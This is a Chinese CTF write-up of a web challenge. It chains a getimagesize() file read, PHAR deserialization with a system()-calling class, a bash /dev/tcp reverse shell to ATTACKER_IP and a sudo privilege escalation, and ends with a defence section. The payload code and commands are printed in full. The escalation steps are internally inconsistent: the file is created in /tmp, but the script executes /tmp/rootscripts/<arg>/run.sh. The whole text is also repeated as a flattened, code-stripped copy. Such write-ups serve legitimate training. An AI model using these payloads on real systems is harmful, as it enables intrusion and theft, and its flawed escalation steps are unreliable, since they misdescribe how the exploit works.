国城杯线下web出题思路分享
字数 1670 2025-08-22 12:22:54

Web安全挑战:从侧信道文件读取到PHAR反序列化提权实战

1. 挑战概述

这是一个综合性的Web安全挑战,涉及多个安全漏洞的串联利用:

  1. 侧信道文件读取漏洞:利用getimagesize()函数读取服务器文件
  2. PHAR反序列化漏洞:通过fileowner()函数触发反序列化
  3. 权限提升:利用配置不当的SUID程序和sudo权限

2. 信息收集阶段

2.1 初始界面分析

挑战开始于一个简单的输入框,提交名称后会显示欢迎信息并提供一个跳转链接。

关键发现

  • 查看页面源代码发现注释提示:<!--There's something in the class.php-->
  • 跳转链接指向chal13nge.php

2.2 目录扫描

尝试扫描目录未发现明显可利用点,但通过源代码提示发现class.php文件存在。

3. 漏洞利用阶段

3.1 侧信道文件读取漏洞

漏洞点getimagesize()函数

利用原理

  • getimagesize()在处理某些特殊构造的文件时,可以泄露服务器上的文件内容
  • 通过构造特殊的图片路径,可以读取服务器上的任意文件

利用步骤

  1. 上传一个看似正常的图片文件
  2. 在获取图片信息时,修改image_path参数为想要读取的文件路径
  3. 服务器会返回文件的部分内容

示例利用
读取class.php文件内容:

POST /chal13nge.php HTTP/1.1
...
image_path=class.php

获取到的关键代码

class backdoor {
    public $cmd;
    function __destruct(){
        $cmd = $this->cmd;
        system($cmd);
    }
}

3.2 PHAR反序列化漏洞

漏洞点fileowner()函数

利用原理

  • PHAR文件包含序列化的元数据
  • 当文件操作函数如fileowner()处理PHAR文件时,会反序列化这些元数据
  • 如果元数据中包含恶意对象,可以触发危险操作

利用步骤

  1. 生成恶意PHAR文件
<?php
class backdoor {
    public $cmd;
    function __destruct(){
        $cmd = $this->cmd;
        system($cmd);
    }
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
$o->cmd = 'ls / > 1.txt';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
  1. 上传PHAR文件
  • 将生成的.phar文件修改后缀为允许的图片格式(如.jpg)上传
  1. 触发反序列化
POST /chal13nge.php HTTP/1.1
...
image_path=phar://uploads/malicious.jpg
  1. 验证命令执行
    访问生成的1.txt文件查看命令执行结果

3.3 获取反向Shell

修改PHAR生成代码,建立反向Shell连接:

$o->cmd = 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"';

4. 权限提升阶段

4.1 环境分析

在获取的Shell中发现:

  • 当前用户权限有限
  • 根目录下有flag.sh脚本,但需要root权限执行

4.2 SUID和sudo权限检查

查找SUID程序

find / -perm -4000 2>/dev/null

检查sudo权限

sudo -l

发现

  • 存在/usr/local/bin/check.sh脚本,可通过sudo执行
  • 该脚本接收一个参数,执行/tmp/rootscripts/${1}/run.sh

4.3 利用sudo权限提权

利用步骤

  1. 在可写目录(如/tmp)创建run.sh
echo "cat /root/flag.txt" > /tmp/run.sh
chmod +x /tmp/run.sh
  1. 通过check.sh执行:
sudo /usr/local/bin/check.sh $(pwd | cut -d'/' -f2-)

原理

  • 利用check.sh脚本执行任意命令
  • 通过控制run.sh内容实现任意命令执行

5. 防御措施

5.1 防止侧信道文件读取

  • 避免使用getimagesize()处理用户提供的路径
  • 对用户输入进行严格过滤
  • 使用realpath()检查路径是否在允许的目录内

5.2 防止PHAR反序列化

  • 禁用PHAR流包装器:stream_wrapper_unregister('phar')
  • 更新PHP版本,PHAR反序列化漏洞在较新版本中已修复
  • 对文件操作函数的参数进行严格检查

5.3 防止权限提升

  • 避免给脚本分配不必要的sudo权限
  • 严格控制SUID/SGID程序
  • 对脚本参数进行严格验证

6. 完整利用链总结

  1. 通过源代码发现class.php提示
  2. 利用getimagesize()侧信道漏洞读取class.php内容
  3. 发现backdoor类可利用于反序列化
  4. 生成恶意PHAR文件并上传
  5. 通过fileowner()触发PHAR反序列化
  6. 获取反向Shell
  7. 利用配置不当的sudo权限提权
  8. 读取root目录下的flag

7. 参考代码

恶意PHAR生成器

<?php
class backdoor {
    public $cmd;
    function __destruct(){
        $cmd = $this->cmd;
        system($cmd);
    }
}

$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
$o->cmd = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

提权利用脚本

#!/bin/bash
# 在/tmp目录下执行
echo "cat /root/flag.txt" > run.sh
chmod +x run.sh
sudo /usr/local/bin/check.sh tmp

通过这个完整的利用链,攻击者可以从简单的信息收集开始,逐步提升权限,最终获取系统完全控制权。

Web安全挑战:从侧信道文件读取到PHAR反序列化提权实战 1. 挑战概述 这是一个综合性的Web安全挑战,涉及多个安全漏洞的串联利用: 侧信道文件读取漏洞 :利用 getimagesize() 函数读取服务器文件 PHAR反序列化漏洞 :通过 fileowner() 函数触发反序列化 权限提升 :利用配置不当的SUID程序和sudo权限 2. 信息收集阶段 2.1 初始界面分析 挑战开始于一个简单的输入框,提交名称后会显示欢迎信息并提供一个跳转链接。 关键发现 : 查看页面源代码发现注释提示: <!--There's something in the class.php--> 跳转链接指向 chal13nge.php 2.2 目录扫描 尝试扫描目录未发现明显可利用点,但通过源代码提示发现 class.php 文件存在。 3. 漏洞利用阶段 3.1 侧信道文件读取漏洞 漏洞点 : getimagesize() 函数 利用原理 : getimagesize() 在处理某些特殊构造的文件时,可以泄露服务器上的文件内容 通过构造特殊的图片路径,可以读取服务器上的任意文件 利用步骤 : 上传一个看似正常的图片文件 在获取图片信息时,修改 image_path 参数为想要读取的文件路径 服务器会返回文件的部分内容 示例利用 : 读取 class.php 文件内容: 获取到的关键代码 : 3.2 PHAR反序列化漏洞 漏洞点 : fileowner() 函数 利用原理 : PHAR文件包含序列化的元数据 当文件操作函数如 fileowner() 处理PHAR文件时,会反序列化这些元数据 如果元数据中包含恶意对象,可以触发危险操作 利用步骤 : 生成恶意PHAR文件 : 上传PHAR文件 : 将生成的.phar文件修改后缀为允许的图片格式(如.jpg)上传 触发反序列化 : 验证命令执行 : 访问生成的 1.txt 文件查看命令执行结果 3.3 获取反向Shell 修改PHAR生成代码,建立反向Shell连接: 4. 权限提升阶段 4.1 环境分析 在获取的Shell中发现: 当前用户权限有限 根目录下有 flag.sh 脚本,但需要root权限执行 4.2 SUID和sudo权限检查 查找SUID程序 : 检查sudo权限 : 发现 : 存在 /usr/local/bin/check.sh 脚本,可通过sudo执行 该脚本接收一个参数,执行 /tmp/rootscripts/${1}/run.sh 4.3 利用sudo权限提权 利用步骤 : 在可写目录(如 /tmp )创建 run.sh : 通过check.sh执行: 原理 : 利用check.sh脚本执行任意命令 通过控制run.sh内容实现任意命令执行 5. 防御措施 5.1 防止侧信道文件读取 避免使用 getimagesize() 处理用户提供的路径 对用户输入进行严格过滤 使用 realpath() 检查路径是否在允许的目录内 5.2 防止PHAR反序列化 禁用PHAR流包装器: stream_wrapper_unregister('phar') 更新PHP版本,PHAR反序列化漏洞在较新版本中已修复 对文件操作函数的参数进行严格检查 5.3 防止权限提升 避免给脚本分配不必要的sudo权限 严格控制SUID/SGID程序 对脚本参数进行严格验证 6. 完整利用链总结 通过源代码发现 class.php 提示 利用 getimagesize() 侧信道漏洞读取 class.php 内容 发现 backdoor 类可利用于反序列化 生成恶意PHAR文件并上传 通过 fileowner() 触发PHAR反序列化 获取反向Shell 利用配置不当的sudo权限提权 读取root目录下的flag 7. 参考代码 恶意PHAR生成器 提权利用脚本 通过这个完整的利用链,攻击者可以从简单的信息收集开始,逐步提升权限,最终获取系统完全控制权。